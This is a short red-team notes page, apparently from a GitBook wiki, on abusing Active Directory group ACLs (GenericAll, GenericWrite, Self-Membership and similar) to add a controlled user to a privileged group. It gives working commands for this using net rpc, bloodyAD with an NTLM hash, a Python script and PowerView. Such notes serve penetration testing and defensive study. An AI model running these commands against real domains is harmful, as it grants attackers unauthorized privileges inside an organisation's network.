> For the complete documentation index, see [llms.txt](https://otter.gitbook.io/red-teaming/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://otter.gitbook.io/red-teaming/notes/dacl-abuse/addmembers.md).

# AddMembers

When an attacker controls a privileged user account with the ability to edit a group's member attribute, they can effectively add new users to that group - **this attack is possible when the controlled account has `GenericAll`, `GenericWrite`, `Self`, `AllExtendedRights`, or `Self-Membership` over the target group.**

Once we found the right user or group with one of these ACLs we can exploit it with the following commands

```
net rpc group addmem 'Vulnerable Group' otter -U domain.com/otter%'SomethingSecure123!' -S 10.10.10.10
# verify the changes took place
net rpc group members 'Vulnerable Group' -U domain.com/otter%SomethingSecure123! -S 10.10.10.10
```

If we only have the hash for the user we can either use the [pth-toolkit](https://github.com/byt3bl33d3r/pth-toolkit) or bloodyAD

```
bloodyAD --host "10.10.10.10" -d "domain.com" -u "otter" -p "ffffffffffffffffffffffffffffffff:<NTLM_HASH>" add groupMember groupName 'userToAdd'
```

We can also use the [addusertogroup](https://github.com/juliourena/ActiveDirectoryScripts/blob/main/Python/addusertogroup.py) script

```
python3 addusertogroup.py -d domain.com -g "Vulnerable Group" -a otter -u otter -p 'SomethingSecure123!'
```

From windows we can use powerview

```powershell
Add-DomainGroupMember -Identity "Vulnerable Group" -Members otter -Verbose
```